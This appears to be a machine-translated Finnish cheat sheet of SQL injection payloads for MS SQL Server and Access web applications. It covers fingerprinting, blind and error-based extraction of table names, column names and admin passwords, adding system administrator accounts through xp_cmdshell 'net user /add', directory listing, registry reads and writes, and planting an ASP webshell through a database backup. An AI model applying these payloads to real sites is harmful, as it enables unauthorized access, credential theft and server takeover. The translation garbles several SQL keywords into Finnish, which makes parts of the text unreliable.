1. Selvitä, onko injektio ; ja 1=1 ; ja 1=2
2. Alustava tuomio siitä, onko kyseessä mssql ; ja käyttäjä>0
3. Arvioi tietokantajärjestelmää ; ja (valitse count(*) sysobjectsista)>0 mssql ; ja (valitse count(*) msysobjectsista)>0 pääsy
4. Injektioparametri on merkki 'ja [kyselykriteerit] ja ''='
5. Haun aikana ei ole suodatettuja parametreja 'and [kyselykriteerit] ja '%25'='
6. Arvaa pöydän nimi ; ja (valitse Count(*) [taulun nimi])>0
7. Arvaa kenttä ; ja (valitse Count (kentän nimi) taulukon nimestä)>0
8. Arvaa ennätyksen pituus kentällä ; ja (valitse top 1 lens (kentän nimi) taulukon nimestä)>0
9. (1) Arvaa kentän ASCII-arvo (access) ; ja (valitse top 1 ASC (mid(kentän nimi, 1,1)) taulukon nimestä)>0
(2) Arvaa kentän ASCII-arvo (mssql) ; ja (valitse top 1 unicode(alimerkkijono(kentän nimi,1,1)) taulukon nimestä)>0
10. Testiluparakenne (mssql) ; ja 1=(valitse IS_SRVROLEMEMBER('järjestelmänvalvoja')); -- ; ja 1=(valitse IS_SRVROLEMEMBER('serveradmin')); -- ; ja 1=(valitse IS_SRVROLEMEMBER('setupadmin')); -- ; ja 1=(valitse IS_SRVROLEMEMBER('securityadmin')); -- ; ja 1=(valitse IS_SRVROLEMEMBER('diskadmin')); -- ; ja 1=(valitse IS_SRVROLEMEMBER('bulkadmin')); -- ; ja 1=(valitse IS_MEMBER('db_owner')); --
11. Lisää tili mssql:lle ja järjestelmälle ; exec master.dbo.sp_addlogin käyttäjätunnus; -- ; exec master.dbo.sp_password null, käyttäjätunnus, salasana; -- ; johtaja master.dbo.sp_addsrvrolemember järjestelmänvalvojan käyttäjätunnus; -- ; exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; -- ; Exec master.dbo.xp_cmdshell 'Net User Password, Password /Add'; -- ; exec master.dbo.xp_cmdshell 'Net LocalGroup Administrators käyttäjätunnus /add'; --
12. (1) Käy läpi luetteloa ; luo taulukko dirs(paths varchar(100), id int) ; Lisää DIRS:n johtaja master.dbo.xp_dirtree 'c:\' ; ja (valitse top 1 -polut dirsistä)>0 ; ja (valitse top 1 -polut direistä, joissa polut eivät ole mukana ('polut, jotka on saatu edellisestä vaiheesta'))>)
(2) Käy läpi luetteloa ; luo taulukko temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; Insert Temp Exec master.dbo.xp_availablemedia; -- Hae kaikki nykyiset asemat ; lisää temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Hanki lista alihakemistoista ; lisää temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Hae hakemistopuun rakenne kaikille alihakemistoille ; lisää temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Katso tiedoston sisältö
13. Tallennetut menettelyt mssql:ssä xp_regenumvalues Rekisterin juuriavain, lapsiavain ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' palauttaa kaikki avainarvot useissa tietuejoukoissa xp_regread Juuriavain, lapsiavain, avain-arvon nimi ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' palauttaa asetusavaimen arvon xp_regwrite Juuriavain, lapsiavain, arvon nimi, arvotyyppi, arvo Arvoja on kahta tyyppiä: REG_SZ REG_DWORD merkkityypeille ja kokonaisluvuille ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' rekisteriin xp_regdeletevalue Juuriavain, aliavain, arvonimi exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' poistaaksesi arvon xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' poistaaksesi avaimen, mukaan lukien kaikki avaimen alla olevat arvot
14. mssql-varmuuskopiointi luo webshellin Käyttömalli luo taulukko cmd(str-kuva); lisää cmd(str)-arvoihin ('<% Dim oScript %>'); varmuuskopiointitietokantamalli disk='c:\l.asp';
15. MSSQL:n sisäänrakennetut toiminnot ; ja (valitse @@version)>0 saadaksesi Windowsin versionumeron ; ja user_name()='dbo' määrittääkseen, onko nykyisen järjestelmän yhdistetty käyttäjä SA ; ja (valitse user_name()))>0 Räjäytti nykyisen järjestelmän yhdistetyt käyttäjät ; ja (valitse db_name())>0 saadaksesi tällä hetkellä yhdistetyn tietokannan
MSSQL:n käsin annotoidun tietokantarikkomus
1. Paljasta nykyinen taulukon nimi ja sarakkeennimi Lähetä "'having 1=1--" injektiopisteen jälkeen saadaksesi palautusviestin englanniksi, jossa näet taulukon nimen ja sarakkeen. Lähetä "ryhmä listan nimellä, jolla on 1=1--" saadaksesi uuden sarakkeen nimen; Jatka lähettämistä "ryhmittele näkyvän taulukon nimen listan mukaan, näkyvän taulukon nimen mukaan. Toisen sarakkeen nimi on 1=1--", mikä antaa toisen sarakkeen nimen. Commit samalla tavalla, kunnes sivu ei enää palauta virheilmoituksia, jotta saat kaikki sarakkeiden nimet. Trivia: Väkivaltaisia taulukkonimiä ja sarakkeiden nimiä käytetään yhdessä GROUP BY -ryhmän kanssa SQL-lauseissa ehdollisten arvioiden tekemiseen. Koska lauseke on puutteellinen, tietokanta palauttaa virheilmoituksen ja näyttää taulukon nimen sekä sarakkeen nimen. Perusmenetelmä voi paljastaa vain nykyisen taulukon tietokannassa, ja jos taulussa on paljon sarakkeen nimiä, perusmenetelmän käyttäminen on hyvin vaikeaa.
Ensimmäinen. Kaikki tietokantanimet ovat paljastuneet Käytä lausetta "and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])" paljastaaksesi tietokannassa mielivaltaiset taulukoiden ja sarakkeiden nimet, missä "[N]" edustaa tietokannan N:ttä taulua. Vaihe 1: Pisteen injektion jälkeen lähetä seuraava lause: "and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)", koska dbid:n arvo on välillä 1–5, jota järjestelmä käyttää, joten käyttäjän täytyy rakentaa se 6:sta ja me lähetimme nimen>1, nimikenttä on merkkityyppikenttä, ja numerovertailu on virheellinen, joten lähetyksen jälkeen IE palauttaa seuraavat tiedot: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] muuntaa nvarchar-arvon 'Northwind' datatype int kolumni. Näin nimikentän arvo paljastuu, eli saamme tietokannan nimen "Northwind". Arvon "dbid" muuttaminen voi saada kaikki tietokantanimet.
ja 0<>(valitse count(*) master.dbo.sysdatabasesista, missä name>1 ja dbid=[N])-- Muokkaa N:ää räjäyttämään kaikki tietokannan nimet 6:sta
Toiseksi. Näytä kaikki taulukoiden nimet määritetyssä tietokannassa Kun saat tietokannan nimen, sinun täytyy nyt saada kaikki taulukon nimet kirjastosta, lähettää seuraava lause: "and 0<>(valitse top 1 name from master.dbo.sysobjects where xtype='U')", tässä on taulun nimi päätietokannassa, ja kyselyn SQL-lause palauttaa nimen arvon, ja vertaa sitä numeroon 0, jotta nimen arvo paljastuu. Luovutuksen jälkeen pöydän nimi oli "'spt_monito" paljastui. Sitten muut taulukot paljastetaan ja seuraava lause toimitetaan: "and 0<>(valitse top 1 name from master.dbo.sysobjects, where xtype='U' and name not in('spt_monito')))", ja toinen taulukko nimeltä "cd512" paljastuu. Tiedosto "and name not in(' spt_monito',' CD512',..))" Voit selvittää kaikki taulukkojen nimet.
ja 0<>(valitse top 1 -nimi [määritä tietokannan nimi].dbo.sysobjects, missä xtype='U')-- ja 0<>(valitse top 1 -nimi [määritä tietokannan nimi].dbo.sysobjects, missä xtype='U' ja name not in('[Räjähtänyt taulun nimi]'))-- ja 0<>(valitse top 1 -nimi [määritä tietokannan nimi].dbo.sysobjects, missä xtype='U' ja nimi ei sisällä('[Räjähtävä taulun nimi]', '[Räjähtänyt toinen taulun nimi]')))--
4. Näytä kaikki sarakkeen nimet määritetyssä taulukossa ja 0<>(valitse count(*) bbs.dbo.sysobjectsista, missä xtype='U' ja name='admin' sekä uid>(str(id))) Muunna ID-arvo merkkityypiksi ja vertaa sitä kokonaislukuarvoon. Tunnistenumero on ulkona. Arvo on: 949578421 name='taulun nimi'
ja 0<>(valitse top 1 -nimi wutong.dbo.syscolumnsista, missä id=949578421)-- Kenttänimi admin-taulukossa paljastuu
Lähetä uudelleen ja 0<>(valitse top 1 -nimi wutong.dbo.syscolumnsista, missä id=949578421 ja nimi ei in('adduser')))-- Tiedosto "and name not in(' spt_monito',' CD512',..))" Kaikki kentän nimet löydät admin-taulukosta.
ja 0<>(valitse count(*) [määritä tietokannan nimi].dbo.sysobjects, missä xtype='U' ja name='[Räjäytettävän kentän taulun nimi]' ja uid>(str(id)))--Räjäytettävän kentän taulun nimen ID-arvo
ja 0<>(valitse top 1 -nimi [määritä tietokannan nimi].dbo.syscolumns, missä id=räjähtänyt id-arvo)-- Kentän nimi räjähtävässä id-arvotaulukossa
ja 0<>(valitse top 1 name [specify database name].dbo.syscolumnsista, missä id=Explosive id value and name not in('[Exploded field name]'))))--
5. Lue tiedot annetusta taulukosta
ja 0<(valitse A_ID wutong.dbo.admin, missä A_UserID>1) – sisältö, joka rikkoi A_PWD
ja 0<(valitse [olemassa oleva kenttä] [määritä tietokannan nimi].dbo.[taulukon nimi kyselylle] missä [kentän nimi sisällön räjäyttämiseksi]>1)--
ja 0<(valitse A_ID wutong.dbo.administa, missä A_PWD>1 ja A_UserID='admin')-- Adminin salasana paljastuu
ja 0<(Valitse Top 1 A_UserID FROM admin, missä A_ID<>1)-- Ylläpitäjän nimi id<>1 (fuhao)
ja 0<(Valitse Top 1 A_UserID FROM admin, jossa A_ID <>1 ja A_UserID <> 'fuhao')-- Toisen ylläpitäjän nimi <> ei ole sama kuin (tuiguang)
ja 0<(Valitse Top 1 A_UserID FROM admin, jossa A_ID <>1 ja A_UserID <> 'fuhao' ja A_UserID <> 'tuiguang')--
Kun tiedät tietokannan taulun nimen ja sarakkeen, voit käyttää "kyselylausetta" lukeaksesi tietokannan tietoja. Esimerkiksi, jos haluat lukea N:nnen datan taulukon sarakkeessa, voit lähettää lauseen: "and (Valitse Top 1 column name FROM table name, where id=[N])>1" ([N] edustaa N:ttä dataa sarakkeessa), ja voit tietää halutun datan IE:n palauttamasta tiedosta.
|